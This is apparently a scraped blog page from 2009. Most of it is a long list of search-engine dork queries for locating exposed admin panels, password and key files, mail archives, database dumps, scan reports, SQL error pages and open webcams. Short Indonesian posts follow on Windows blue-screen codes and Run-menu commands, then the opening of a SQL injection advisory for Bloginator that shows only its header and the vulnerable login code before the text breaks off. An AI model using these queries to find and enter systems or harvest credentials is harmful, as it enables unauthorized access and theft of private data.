filetype:php inurl:"webeditor.php"
filetype:pl "Download: SuSE Linux Openexchange Server CA"
filetype:r2w r2w
intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
intext:"Fill out the form below completely to change your password and user name. If new username is left blank, your old one will be assumed." -edu
intext:"Mail admins login here to administrate your domain."
intext:"Master Account" "Domain Name" "Password" inurl:/cgi-bin/qmailadmin
intext:"Master Account" "Domain Name" "Password" inurl:/cgi-bin/qmailadmin
intext:"Storage Management Server for" intitle:"Server Administration"
intext:"Welcome to" inurl:"cp" intitle:"H-SPHERE" inurl:"begin.html" -Fee
intext:"vbulletin" inurl:admincp
intitle:"*- HP WBEM Login" | "You are being prompted to provide login account information for *" | "Please provide the information requested and press
intitle:"Admin Login" "admin login" "blogware"
intitle:"Admin login" "Web Site Administration" "Copyright"
intitle:"AlternC Desktop"
intitle:"Athens Authentication Point"
intitle:"b2evo > Login form" "Login form. You must log in! You will have to accept cookies in order to log in" -demo -site:b2evolution.net
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button to co
intitle:"ColdFusion Administrator Login"
intitle:"communigate pro * *" intitle:"entrance"
intitle:"Content Management System" "user name"|"password"|"admin" "Microsoft IE 5.5" -mambo
intitle:"Content Management System" "user name"|"password"|"admin" "Microsoft IE 5.5" -mambo
intitle:"Dell Remote Access Controller"
intitle:"Docutek ERes - Admin Login" -edu
intitle:"Employee Intranet Login"
intitle:"eMule *" intitle:"- Web Control Panel" intext:"Web Control Panel" "Enter your password here."
intitle:"ePowerSwitch Login"
intitle:"eXist Database Administration" -demo
intitle:"EXTRANET * - Identification"
intitle:"EXTRANET login" -.edu -.mil -.gov
intitle:"EZPartner" -netpond
intitle:"Flash Operator Panel" -ext:php -wiki -cms -inurl:asternic -inurl:sip -intitle:ANNOUNCE -inurl:lists
intitle:"i-secure v1.1" -edu
intitle:"Icecast Administration Admin Page"
intitle:"iDevAffiliate - admin" -demo
intitle:"ISPMan : Unauthorized Access prohibited"
intitle:"ITS System Information" "Please log on to the SAP System"
intitle:"Kurant Corporation StoreSense" filetype:bok
intitle:"ListMail Login" admin -demo
intitle:"Login -
Easy File Sharing Web Server"
intitle:"Login Forum
AnyBoard" intitle:"If you are a new user:" intext:"Forum
AnyBoard" inurl:gochat -edu
intitle:"Login to @Mail" (ext:pl | inurl:"index") -dwaffleman
intitle:"Login to Cacti"
intitle:"Login to the forums - @www.aimoo.com" inurl:login.cfm?id=
intitle:"MailMan Login"
intitle:"Member Login" "NOTE: Your browser must have cookies enabled in order to log into the site." ext:php OR ext:cgi
intitle:"Merak Mail Server Web Administration" -ihackstuff.com
intitle:"microsoft certificate services" inurl:certsrv
intitle:"MikroTik RouterOS Managing Webpage"
intitle:"MX Control Console" "If you can't remember"
intitle:"Novell Web Services" "GroupWise" -inurl:"doc/11924" -.mil -.edu -.gov -filetype:pdf
intitle:"Novell Web Services" intext:"Select a service and a language."
intitle:"oMail-admin Administration - Login" -inurl:omnis.ch
intitle:"OnLine Recruitment Program - Login"
intitle:"Philex 0.2*" -script -site:freelists.org
intitle:"PHP Advanced Transfer" inurl:"login.php"
intitle:"php icalendar administration" -site:sourceforge.net
intitle:"php icalendar administration" -site:sourceforge.net
intitle:"phpPgAdmin - Login" Language
intitle:"PHProjekt - login" login password
intitle:"please login" "your password is *"
intitle:"Remote Desktop Web Connection" inurl:tsweb
intitle:"SFXAdmin - sfx_global" | intitle:"SFXAdmin - sfx_local" | intitle:"SFXAdmin - sfx_test"
intitle:"SHOUTcast Administrator" inurl:admin.cgi
intitle:"site administration: please log in" "site designed by emarketsouth"
intitle:"Supero Doctor III" -inurl:supermicro
intitle:"SuSE Linux Openexchange Server" "Please activate JavaScript!"
intitle:"teamspeak server-administration
intitle:"Tomcat Server Administration"
intitle:"TOPdesk ApplicationServer"
intitle:"TUTOS Login"
intitle:"TWIG Login"
intitle:"vhost" intext:"vHost . 2000-2004"
intitle:"Virtual Server Administration System"
intitle:"VisNetic WebMail" inurl:"/mail/"
intitle:"VitalQIP IP Management System"
intitle:"VMware Management Interface:" inurl:"vmware/en/"
intitle:"VNC viewer for Java"
intitle:"web-cyradm"|"by Luc de Louw" "This is only for authorized users" -tar.gz -site:web-cyradm.org
intitle:"WebLogic Server" intitle:"Console Login" inurl:console
intitle:"Welcome Site/User Administrator" "Please select the language" -demos
intitle:"Welcome to Mailtraq WebMail"
intitle:"welcome to netware *" -site:novell.com
intitle:"WorldClient" intext:"? (2003|2004) Alt-N Technologies."
intitle:"xams 0.0.0..15 - Login"
intitle:"XcAuctionLite" | "DRIVEN BY XCENT" Lite inurl:admin
intitle:"XMail Web Administration Interface" intext:Login intext:password
intitle:"Zope Help System" inurl:HelpSys
intitle:"ZyXEL Prestige Router" "Enter password"
intitle:"inc. vpn 3000 concentrator"
intitle:("TrackerCam Live Video")|("TrackerCam Application Login")|("Trackercam Remote") -trackercam.com
intitle:asterisk.management.portal web-access
intitle:endymion.sak?.mail.login.page | inurl:sake.servlet
intitle:Group-Office "Enter your username and password to login"
intitle:ilohamail "
IlohaMail"
intitle:ilohamail intext:"Version 0.8.10" "
IlohaMail"
intitle:IMP inurl:imp/index.php3
intitle:Login * Webmailer
intitle:Login intext:"RT is ? Copyright"
intitle:Node.List Win32.Version.3.11
intitle:Novell intitle:WebAccess "Copyright *-* Novell, Inc"
intitle:open-xchange inurl:login.pl
intitle:Ovislink inurl:private/login
intitle:phpnews.login
intitle:plesk inurl:login.php3
inurl:"/admin/configuration. php?" Mystore
inurl:"/slxweb.dll/external?name=(custportal|webticketcust)"
inurl:"1220/parse_xml.cgi?"
inurl:"631/admin" (inurl:"op=*") | (intitle:CUPS)
inurl:":10000" intext:webmin
inurl:"Activex/default.htm" "Demo"
inurl:"calendar.asp?action=login"
inurl:"default/login.php" intitle:"kerio"
inurl:"gs/adminlogin.aspx"
inurl:"php121login.php"
inurl:"suse/login.pl"
inurl:"typo3/index.php?u=" -demo
inurl:"usysinfo?login=true"
inurl:"utilities/TreeView.asp"
inurl:"vsadmin/login" | inurl:"vsadmin/admin" inurl:.php|.asp

nurl:/admin/login.asp
inurl:/cgi-bin/sqwebmail?noframes=1
inurl:/Citrix/Nfuse17/
inurl:/dana-na/auth/welcome.html
inurl:/eprise/
inurl:/Merchant2/admin.mv | inurl:/Merchant2/admin.mvc | intitle:"Miva Merchant Administration Login" -inurl:cheap-malboro.net
inurl:/modcp/ intext:Moderator+vBulletin
inurl:/SUSAdmin intitle:"Microsoft Software Update Services"
inurl:/webedit.* intext:WebEdit Professional -html
inurl:1810 "Oracle Enterprise Manager"
inurl:2000 intitle:RemotelyAnywhere -site:realvnc.com
inurl::2082/frontend -demo
inurl:administrator "welcome to mambo"
inurl:bin.welcome.sh | inurl:bin.welcome.bat | intitle:eHealth.5.0
inurl:cgi-bin/ultimatebb.cgi?ubb=login
inurl:Citrix/MetaFrame/default/default.aspx
inurl:confixx inurl:login|anmeldung
inurl:coranto.cgi intitle:Login (Authorized Users Only)
inurl:csCreatePro.cgi
inurl:default.asp intitle:"WebCommander"
inurl:exchweb/bin/auth/owalogon.asp
inurl:gnatsweb.pl
inurl:ids5web
inurl:irc filetype:cgi cgi:irc
inurl:login filetype:swf swf
inurl:login.asp
inurl:login.cfm
inurl:login.php "SquirrelMail version"
inurl:metaframexp/default/login.asp | intitle:"Metaframe XP Login"
inurl:mewebmail
inurl:names.nsf?opendatabase
inurl:ocw_login_username
inurl:orasso.wwsso_app_admin.ls_login
inurl:postfixadmin intitle:"postfix admin" ext:php
inurl:search/admin.php
inurl:textpattern/index.php
inurl:WCP_USER
inurl:webmail./index.pl "Interface"
inurl:webvpn.html "login" "Please enter your"
Login ("
Jetbox One CMS ™" | "
Jetstream ? *")
Novell NetWare intext:"netware management portal version"
Outlook Web Access (a better way)
PhotoPost PHP Upload
PHPhotoalbum Statistics
PHPhotoalbum Upload
phpWebMail
Please enter a valid password! inurl:polladmin

INDEXU
Ultima Online loginservers
W-Nailer Upload Area
intitle:"DocuShare" inurl:"docushare/dsweb/" -faq -gov -edu
"#mysql dump" filetype:sql
"#mysql dump" filetype:sql 21232f297a57a5a743894a0e4a801fc3
"allow_call_time_pass_reference" "PATH_INFO"
"Certificate Practice Statement" inurl:(PDF | DOC)
"Generated by phpSystem"
"generated by wwwstat"
"Host Vulnerability Summary Report"
"HTTP_FROM=googlebot" googlebot.com "Server_Software="
"Index of" / "chat/logs"
"Installed Objects Scanner" inurl:default.asp
"MacHTTP" filetype:log inurl:machttp.log
"Mecury Version" "Infastructure Group"
"Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)" ext:log
"Most Submitted Forms and Scripts" "this section"
"Network Vulnerability Assessment Report"
"not for distribution" confidential
"not for public release" -.edu -.gov -.mil
"phone * * *" "address *" "e-mail" intitle:"curriculum vitae"
"phpMyAdmin" "running on" inurl:"main.php"
"produced by getstats"
"Request Details" "Control Tree" "Server Variables"
"robots.txt" "Disallow:" filetype:txt
"Running in Child mode"
"sets mode: +p"
"sets mode: +s"
"Thank you for your order" +receipt
"This is a Shareaza Node"
"This report was generated by WebLog"
( filetype:mail | filetype:eml | filetype:mbox | filetype:mbx ) intext:password|subject
(intitle:"PRTG Traffic Grapher" inurl:"allsensors")|(intitle:"PRTG Traffic Grapher - Monitoring Results")
(intitle:WebStatistica inurl:main.php) | (intitle:"WebSTATISTICA server") -inurl:statsoft -inurl:statsoftsa -inurl:statsoftinc.com -edu -software -rob
(inurl:"robot.txt" | inurl:"robots.txt" ) intext:disallow filetype:txt
+":8080" +":3128" +":80" filetype:txt
+"HSTSNR" -"netop.com"
-site:php.net -"The PHP Group" inurl:source inurl:url ext:pHp
94FBR "ADOBE PHOTOSHOP"
AIM buddy lists
allinurl:/examples/jsp/snp/snoop.jsp
allinurl:cdkey.txt
allinurl:servlet/SnoopServlet
cgiirc.conf
cgiirc.conf
contacts ext:wml
data filetype:mdb -site:gov -site:mil
exported email addresses
ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | xml) (intext:confidential salary | intext:"budget approved") inurl:confidential
ext:asp inurl:pathto.asp
ext:ccm ccm -catacomb
ext:CDX CDX
ext:cgi inurl:editcgi.cgi inurl:file=
ext:conf inurl:rsyncd.conf -cvs -man
ext:conf NoCatAuth -cvs
ext:dat bpk.dat
ext:gho gho
ext:ics ics
ext:ini intext:env.ini
ext:jbf jbf
ext:ldif ldif
ext:log "Software: Microsoft Internet Information Services *.*"
ext:mdb inurl:*.mdb inurl:fpdb shop.mdb
ext:nsf nsf -gov -mil
ext:plist filetype:plist inurl:bookmarks.plist
ext:pqi pqi -database
ext:reg "username=*" putty
ext:txt "Final encryption key"
ext:txt inurl:dxdiag
ext:vmdk vmdk
ext:vmx vmx
filetype:asp DBQ=" * Server.MapPath("*.mdb")
filetype:bkf bkf
filetype:blt "buddylist"
filetype:blt blt +intext:screenname
filetype:cfg auto_inst.cfg
filetype:cnf inurl:_vti_pvt access.cnf
filetype:conf inurl:firewall -intitle:cvs
filetype:config web.config -CVS
filetype:ctt Contact
filetype:ctt ctt messenger
filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To"
filetype:fp3 fp3
filetype:fp5 fp5 -site:gov -site:mil -"cvs log"
filetype:fp7 fp7
filetype:inf inurl:capolicy.inf
filetype:lic lic intext:key
filetype:log access.log -CVS
filetype:log cron.log
filetype:mbx mbx intext:Subject
filetype:myd myd -CVS
filetype:ns1 ns1
filetype:ora ora
filetype:ora tnsnames
filetype:pdb pdb backup (Pilot | Pluckerdb)
filetype:php inurl:index inurl:phpicalendar -site:sourceforge.net
filetype:pot inurl:john.pot
filetype:PS ps
filetype:pst inurl:"outlook.pst"
filetype:pst pst -from -to -date
filetype:qbb qbb
filetype:QBW qbw
filetype:rdp rdp
filetype:reg "Terminal Server Client"
filetype:vcs vcs
filetype:wab wab
filetype:xls -site:gov inurl:contact
filetype:xls inurl:"email.xls"
Financial spreadsheets: finance.xls
Financial spreadsheets: finances.xls
Ganglia Cluster Reports
haccess.ctl (one way)
haccess.ctl (VERY reliable)
ICQ chat logs, please...
intext:"Session Start * * * *:*:* *" filetype:log
intext:"Tobias Oetiker" "traffic analysis"
intext:(password | passcode) intext:(username | userid | user) filetype:csv
intext:gmail invite intext:http://gmail.google.com/gmail/a
intext:SQLiteManager inurl:main.php
intext:ViewCVS inurl:Settings.php
intitle:"admin panel" +"RedKernel"
intitle:"Apache::Status" (inurl:server-status | inurl:status.html | inurl:apache.html)
intitle:"AppServ Open Project" -site:www.appservnetwork.com
intitle:"ASP Stats Generator *.*" "ASP Stats Generator" "2003-2004 weppos"
intitle:"Big Sister" +"OK Attention Trouble"
intitle:"curriculum vitae" filetype:doc
intitle:"edna:streaming mp3 server" -forums
intitle:"FTP root at"
intitle:"index of" +myd size
intitle:"Index Of" -inurl:maillog maillog size
intitle:"Index Of" cookies.txt size
intitle:"index of" mysql.conf OR mysql_config
intitle:"Index of" upload size parent directory
intitle:"index.of *" admin news.asp configview.asp
intitle:"index.of" .diz .nfo last modified
intitle:"Joomla - Web Installer"
intitle:"LOGREP - Log file reporting system" -site:itefix.no
intitle:"Multimon UPS status page"
intitle:"PHP Advanced Transfer" (inurl:index.php | inurl:showrecent.php )
intitle:"PhpMyExplorer" inurl:"index.php" -cvs
intitle:"statistics of" "advanced web statistics"
intitle:"System Statistics" +"System and Network Information Center"
intitle:"urchin (5|3|admin)" ext:cgi
intitle:"Usage Statistics for" "Generated by Webalizer"
intitle:"wbem" compaq login "Compaq Information Technologies Group"
intitle:"Web Server Statistics for ****"
intitle:"web server status" SSH Telnet
intitle:"Welcome to F-Secure Policy Manager Server Welcome Page"
intitle:"welcome.to.squeezebox"
intitle:admin intitle:login
intitle:Bookmarks inurl:bookmarks.html "Bookmarks
intitle:index.of "Apache" "server at"
intitle:index.of cleanup.log
intitle:index.of dead.letter
intitle:index.of inbox
intitle:index.of inbox dbx
intitle:index.of ws_ftp.ini
intitle:intranet inurl:intranet +intext:"phone"
inurl:"/axs/ax-admin.pl" -script
inurl:"/cricket/grapher.cgi"
inurl:"bookmark.htm"
inurl:"cacti" +inurl:"graph_view.php" +"Settings Tree View" -cvs -RPM
inurl:"newsletter/admin/"
inurl:"newsletter/admin/" intitle:"newsletter admin"
inurl:"putty.reg"
inurl:"smb.conf" intext:"workgroup" filetype:conf conf
inurl:*db filetype:mdb
inurl:/cgi-bin/pass.txt
inurl:/_layouts/settings
inurl:admin filetype:xls
inurl:admin intitle:login
inurl:backup filetype:mdb
inurl:build.err
inurl:cgi-bin/printenv
inurl:cgi-bin/testcgi.exe "Please distribute TestCGI"
inurl:changepassword.asp
inurl:ds.py
inurl:email filetype:mdb
inurl:fcgi-bin/echo
inurl:forum filetype:mdb
inurl:forward filetype:forward -cvs
inurl:getmsg.html intitle:hotmail
inurl:log.nsf -gov
inurl:main.php phpMyAdmin
inurl:main.php Welcome to phpMyAdmin
inurl:netscape.hst
inurl:netscape.hst
inurl:netscape.ini
inurl:odbc.ini ext:ini -cvs
inurl:perl/printenv
inurl:php.ini filetype:ini
inurl:preferences.ini "[emule]"
inurl:profiles filetype:mdb
inurl:report "EVEREST Home Edition "
inurl:server-info "Apache Server Information"
inurl:server-status "apache"
inurl:snitz_forums_2000.mdb
inurl:ssl.conf filetype:conf
inurl:tdbin
inurl:vbstats.php "page generated"
inurl:wp-mail.php + "There doesn't seem to be any new mail."
inurl:XcCDONTS.asp
ipsec.conf
ipsec.secrets
ipsec.secrets
Lotus Domino address books
mail filetype:csv -site:gov intext:name
Microsoft Money Data Files
mt-db-pass.cgi files
MySQL tabledata dumps
mystuff.xml - Trillian data files
OWA Public Folders (direct view)
Peoples MSN contact lists
php-addressbook "This is the addressbook for *" -warning
phpinfo()
phpMyAdmin dumps
phpMyAdmin dumps
private key files (.csr)
private key files (.key)
Quicken data files
rdbqds -site:.edu -site:.mil -site:.gov
robots.txt
site:edu admin grades
site:www.mailinator.com inurl:ShowMail.do
SQL data dumps
Squid cache server reports
Unreal IRCd
WebLog Referrers
Welcome to ntop!

filetype:log intext:"ConnectionManager2"
"apricot - admin" 00h
"by Reimar Hoven. All Rights Reserved. Disclaimer" | inurl:"log/logdb.dta"
"Network Host Assessment Report" "Internet Scanner"
"Output produced by SysWatch *"
"Phorum Admin" "Database Connection" inurl:forum inurl:admin
"phpOpenTracker" Statistics
"powered | performed by Beyond Security's Automated Scanning" -kazaa -example
"Shadow Security Scanner performed a vulnerability assessment"
"SnortSnarf alert page"
"The following report contains confidential information" vulnerability -search
"The statistics were last updated" "Daily"-microsoft.com
"this proxy is working fine!" "enter *" "URL***" * visit
"This report lists" "identified by Internet Scanner"
"Traffic Analysis for" "RMON Port * on unit *"
"Version Info" "Boot Version" "Internet Settings"
((inurl:ifgraph "Page generated at") OR ("This page was built using ifgraph"))
Analysis Console for Incident Databases
ext:cfg radius.cfg
ext:cgi intext:"nrg-" " This web page was created on "
filetype:pdf "Assessment Report" nessus
filetype:php inurl:ipinfo.php "Distributed Intrusion Detection System"
filetype:php inurl:nqt intext:"Network Query Tool"
filetype:vsd vsd network -samples -examples
intext:"Welcome to the Web V.Networks" intitle:"V.Networks [Top]" -filetype:htm
intitle:"ADSL Configuration page"
intitle:"Azureus : Java BitTorrent Client Tracker"
intitle:"Belarc Advisor Current Profile" intext:"Click here for Belarc's PC Management products, for large and small companies."
intitle:"BNBT Tracker Info"
intitle:"Microsoft Site Server Analysis"
intitle:"Nessus Scan Report" "This file was generated by Nessus"
intitle:"PHPBTTracker Statistics" | intitle:"PHPBT Tracker Statistics"
intitle:"Retina Report" "CONFIDENTIAL INFORMATION"
intitle:"start.managing.the.device" remote pbx acc
intitle:"sysinfo * " intext:"Generated by Sysinfo * written by The Gamblers."
intitle:"twiki" inurl:"TWikiUsers"
inurl:"/catalog.nsf" intitle:catalog
inurl:"install/install.php"
inurl:"map.asp?" intitle:"WhatsUp Gold"
inurl:"NmConsole/Login.asp" | intitle:"Login - Ipswitch WhatsUp Professional 2005" | intext:"Ipswitch WhatsUp Professional 2005 (SP1)" "Ipswitch, Inc"
inurl:"sitescope.html" intitle:"sitescope" intext:"refresh" -demo
inurl:/adm-cfgedit.php
inurl:/cgi-bin/finger? "In real life"
inurl:/cgi-bin/finger? Enter (account|host|user|username)
inurl:/counter/index.php intitle:"+PHPCounter 7.*"
inurl:CrazyWWWBoard.cgi intext:"detailed debugging information"
inurl:login.jsp.bak
inurl:ovcgi/jovw
inurl:phpSysInfo/ "created by phpsysinfo"
inurl:portscan.php "from Port"|"Port Range"
inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl
inurl:statrep.nsf -gov
inurl:status.cgi?host=all
inurl:testcgi xitami
inurl:webalizer filetype:png -.gov -.edu -.mil -opendarwin
inurl:webutil.pl
Looking Glass
site:netcraft.com intitle:That.Site.Running Apache
"A syntax error has occurred" filetype:ihtml
"access denied for user" "using password"
"An illegal character has been found in the statement" -"previous message"
"ASP.NET_SessionId" "data source="
"Can't connect to local" intitle:warning
"Chatologica MetaSearch" "stack tracking"
"detected an internal error [IBM][CLI Driver][DB2/6000]"
"error found handling the request" cocoon filetype:xml
"Fatal error: Call to undefined function" -reply -the -next
"Incorrect syntax near"
"Incorrect syntax near"
"Internal Server Error" "server at"
"Invision Power Board Database Error"
"ORA-00933: SQL command not properly ended"
"ORA-12541: TNS:no listener" intitle:"error occurred"
"Parse error: parse error, unexpected T_VARIABLE" "on line" filetype:php
"PostgreSQL query failed: ERROR: parser: parse error"
"Supplied argument is not a valid MySQL result resource"
"Syntax error in query expression " -the
"The script whose uid is " "is not allowed to access"
"There seems to have been a problem with the" " Please try again by clicking the Refresh button in your web browser."
"Unable to jump to row" "on MySQL result index" "on line"
"Unclosed quotation mark before the character string"
"Warning: Bad arguments to (join|implode) () in" "on line" -help -forum
"Warning: Cannot modify header information - headers already sent"
"Warning: Division by zero in" "on line" -forum
"Warning: mysql_connect(): Access denied for user: '*@*" "on line" -help -forum
"Warning: mysql_query()" "invalid query"
"Warning: pg_connect(): Unable to connect to PostgreSQL server: FATAL"
"Warning: Supplied argument is not a valid File-Handle resource in"
"Warning:" "failed to open stream: HTTP request failed" "on line"
"Warning:" "SAFE MODE Restriction in effect." "The script whose uid is" "is not allowed to access owned by uid 0 in" "on line"
"SQL Server Driver][SQL Server]Line 1: Incorrect syntax near"
An unexpected token "END-OF-STATEMENT" was found
Coldfusion Error Pages
filetype:asp + "[ODBC SQL"
filetype:asp "Custom Error Message" Category Source
filetype:log "PHP Parse error" | "PHP Warning" | "PHP Error"
filetype:php inurl:"logging.php" "Discuz" error
ht://Dig htsearch error
IIS 4.0 error messages
IIS web server error messages
Internal Server Error
intext:"Error Message : Error loading required libraries."
intext:"Warning: Failed opening" "on line" "include_path"
intitle:"Apache Tomcat" "Error Report"
intitle:"Default PLESK Page"
intitle:"Error Occurred While Processing Request" +WHERE (SELECT|INSERT) filetype:cfm
intitle:"Error Occurred" "The error occurred in" filetype:cfm
intitle:"Error using Hypernews" "Server Software"
intitle:"Execution of this script not permitted"
intitle:"Under construction" "does not currently have"
intitle:Configuration.File inurl:softcart.exe
MYSQL error message: supplied argument....
mysql error with query
Netscape Application Server Error page
ORA-00921: unexpected end of SQL command
ORA-00921: unexpected end of SQL command
ORA-00936: missing expression
PHP application warnings failing "include_path"
sitebuildercontent
sitebuilderfiles
sitebuilderpictures
Snitz! forums db path error
SQL syntax error
Supplied argument is not a valid PostgreSQL result
warning "error on line" php sablotron
Windows 2000 web server error messages
"ftp://" "www.eastgame.net"
"html allowed" guestbook
": vBulletin Version 1.1.5"
"Select a database to view" intitle:"filemaker pro"
"set up the administrator user" inurl:pivot
"There are no Administrators Accounts" inurl:admin.php -mysql_fetch_row
"Welcome to Administration" "General" "Local Domains" "SMTP Authentication" inurl:admin
"Welcome to Intranet"
"Welcome to PHP-Nuke" congratulations
"Welcome to the Prestige Web-Based Configurator"
"YaBB SE Dev Team"
"you can now password" | "this is a special page only seen by you. your profile visitors" inurl:imchaos
("Indexed.By"|"Monitored.By") hAcxFtpScan
(inurl:/shop.cgi/page=) | (inurl:/shop.pl/page=)
allinurl:"index.php" "site=sglinks"
allinurl:install/install.php
allinurl:intranet admin
filetype:cgi inurl:"fileman.cgi"
filetype:cgi inurl:"Web_Store.cgi"
filetype:php inurl:vAuthenticate
filetype:pl intitle:"Ultraboard Setup"
Gallery in configuration mode
Hassan Consulting's Shopping Cart Version 1.18
intext:"Warning: * am able * write ** configuration file" "includes/configure.php" -
intitle:"Gateway Configuration Menu"
intitle:"Horde :: My Portal" -"[Tickets"
intitle:"Mail Server CMailServer Webmail" "5.2"
intitle:"MvBlog powered"
intitle:"Remote Desktop Web Connection"
intitle:"Samba Web Administration Tool" intext:"Help Workgroup"
intitle:"Terminal Services Web Connection"
intitle:"Uploader - Uploader v6" -pixloads.com
intitle:osCommerce inurl:admin intext:"redistributable under the GNU" intext:"Online Catalog" -demo -site:oscommerce.com
intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"
intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"
inurl:"/NSearch/AdminServlet"
inurl:"index.php? module=ew_filemanager"
inurl:aol*/_do/rss_popup?blogID=
inurl:footer.inc.php
inurl:info.inc.php
inurl:ManyServers.htm
inurl:newsdesk.cgi? inurl:"t="
inurl:pls/admin_/gateway.htm
inurl:rpSys.html
inurl:search.php vbulletin
inurl:servlet/webacc
natterchat inurl:home.asp -site:natterchat.co.uk
XOOPS Custom Installation
inurl:htpasswd filetype:htpasswd
inurl:yapboz_detay.asp
+ View Webcam User Accessing
allinurl:control/multiview
inurl:"ViewerFrame?Mode="
intitle:"WJ-NT104 Main Page"
inurl:netw_tcp.shtml
intitle:"supervisioncam protocol"

blue screen ???

2009-11-17T07:32:00.001-08:00

menerjamahkan blue screen pada windows

1.
IRQL_NOT_LESS_OR_EQUAL (0X0000000A)
Ini merupakan biangnya biang kerok pada BsOD. Kenapa? Karena umumnya pada BsOD, pesan ini yang paling sering muncul. Pesan kesalahan ini disebabkan umumnya kerena ada ketidakcocokan driver yang terinstall di komputer.

Daftar Penyebab:
? Masalah driver yang bentrok atau tidak cocok
? Masalah Video Card, hal ini mencakup video card yang di overclock melebihi batas atau Anda baru berganti Video card dan Anda belum menguninstall driver Video card lama dari chipset berbeda
? Masalah Audio Card, meliputi kesalahan konfigurasi atau bug dalam driver sound card

2.
NTFS_FILE_SYSTEM atau FAT_FILE_SYSTEM (0X00000024) atau (0X00000023)
Nah, pesan ini setidaknya sudah sedikit “nyambung” memberikan gambaran di mana kerusakan berada, yaitu ada di partisi atau filesystemnya tetapi bukan di harddisknya. Kita bisa melakukan pengecekan dengan memeriksa kabel SATA atau PATA atau bisa mengecek partisi dengan tool chkdsk.

3.
UNEXPECTED_KERNEL_MODE_TRAP (0X0000007F)
Bila Anda mendapatkan pesan seperti ini, dapat disebabkan karena:
? Overclock Hardware yang berlebihan
? Komponen komputer yang kepanasan
? BIOS yang korup
? Memory dan CPU yang cacat

4.
DATA_BUS_ERROR
Pesan ini disebabkan karena adanya kemungkinan bahwa memory atau slot memory di motherboard rusak.

5.
PAGE_FAULT_IN_NONPAGED_AREA
Disebabkan karena adanya kerusakan hardware, termasuk memory utama, memory video card, atau memory di processor (L2 Cache)

6.
INACCESSIBLE_BOOT_DEVICE
Disebabkan karena adanya kesalahan dalam konfigurasi jumper harddisk yang salah, virus boot sector, driver IDE controller yang salah, atau kesalahan driver chipset.

7.
VIDEO_DRIVER_INIT_FAILURE
Kesalahan terjadi pada instalasi driver video card yang kurang sempurna, restart pada saat instalasi atau juga dapat terjadi karena kesalahan dalam instalasi driver.

8.
BAD_POOL_CALLER
Kesalahan ini dapat terjadi karena kesalahan atau driver yang tidak kompatibel. Sering terjadi saat melakukan instalasi XP dari upgrade, atau bukan dari instalasi baru.

9.
PEN_LIST_CORRUPT
Pesan ini disebabkan karena adanya kerusakan RAM

10.
MACHINE_CHECK_EXCEPTION
Disebabkan oleh cacatnya CPU, atau yang di overclock secara agresif, serta power supply yang kekurangan daya atau rusak.Itulah sepuluh pesan yang umumnya muncul di BsOD, semoga tulisan ini dapat membantu Anda

PERINTAH" PADA MENU RUN

2009-11-17T07:30:00.000-08:00

PERINTAH" PADA MENU RUN

CONTROL PANEL

Accessibility Controls = access.cpl

Add Hardware Wizard = hdwwiz.cpl

Add/Remove Programs = appwiz.cpl

Date and Time Properties = timedate.cpl

Display Properties = control desktop/desk.cpl

Game Controllers = joy.cpl

Internet Properties = inetcpl.cpl

Network Setup Wizard = netsetup.cpl

Network Connections = ncpa.cpl

Mouse Properties = main.cpl

ODBC Data Source Administrator = odbccp32.cpl

Power Configuration = powercfg.cpl

User Account Management = nusrmgr.cpl

Phone and Modem Options = telephon.cpl

Windows Firewall = firewall.cpl

Automatic Updates = wuaucpl.cpl

Regional Settings = intl.cpl

Security Center = wscui.cpl

Sounds and Audio = mmsys.cpl

System Properties = sysdm.cpl

Scanners and Cameras = sticpl.cpl

CONSULE

Certificate Manager = certmgr.msc

Computer Management = compmgmt.msc

Disk Defragment = dfrg.msc

Disk Management = diskmgmt.msc

Device Manager = devmgmt.msc

Event Viewer = eventvwr.msc

Group Policy Editor (XP Prof) = gpedit.msc

Indexing Service = ciadv.msc

Local Security Settings = secpol.msc

Local Users and Groups = lusrmgr.msc

Performance Monitor = perfmon.msc

Removable Storage = ntmsmgr.msc

Services = services.msc

Shared Folders = fsmgmt.msc

Windows Management Infrastructure = wmimgmt.msc

Removable Storage Operator Requests = ntmsoprq.msc

Resultant Set of Policy (XP Prof) = rsop.msc

LAIN"

Administrative Tools = control admintools

Bluetooth Transfer Wizard = fsquirt

Calculator = calc

Character Map = charmap

Check Disk Utility = chkdsk

Clipboard Viewer = clipbrd

Command Prompt = cmd

Component Services = dcomcnfg

DDE Shares = ddeshare

Direct X Troubleshooter = dxdiag

Disk Cleanup Utility = cleanmgr

Disk Partition Manager = diskpart

Dr. Watson System Troubleshooting Utility = drwtsn32

Driver Verifier Utility = verifier

File Signature Verification Tool = sigverif

Folders Properties = control folders

Fonts Folder = fonts

Free Cell Card Game = freecell

Hearts Card Game = mshearts

Iexpress Wizard = iexpress

IP Configuration = ipconfig

Keyboard Properties = control keyboard

Logs You Out Of Windows = logoff

Microsoft Chat = winchat

Minesweeper Game = winmine

Mouse Properties = control mouse

Network Connections = control netconnections

Notepad = notepad

Object Packager = packager

Performance Monitor = perfmon

Printers and Faxes = control printers

Printers Folder = printers

Private Character Editor = eudcedit

Registry Editor = regedit

Remote Desktop = mstsc

Scheduled Tasks = control schedtasks

Shuts Down Windows = shutdown

Spider Solitare Card Game = spider

SQL Client Configuration = cliconfg

System Configuration Editor = sysedit

System Configuration Utility = msconfig

System File Checker Utility = sfc

Task Manager = taskmgr

Telnet Client = telnet

Utility Manager = utilman

Windows Magnifier = magnify

Windows System Security Tool = syskey

Windows Update Launches = wupdmgr

Windows XP Tour Wizard = tourstart

Wordpad = write

SQL Command Injection

2009-11-17T07:26:00.000-08:00

SQL Command Injection
##########################################################################

Author = FireShot , Jacopo Vuga.
Thx to = Osirys for develop the Exploitation Code with me
Mail = fireshotautisticiorg / osirysautisticiorg

Vulnerability = SQL Command Injection (mq = off)
Software = Bloginator V1A
Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0

Greets to = Myral, str0ke

###########################################################################

[CODE]

[URL] www.site.com/bloginator/articleCall.php

global $name,$password,$returnLink;
$p_name = strip_tags(substr($_POST['name'],0,32));
$p_password = strip_tags(substr($_POST['password'],0,32));
if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
{

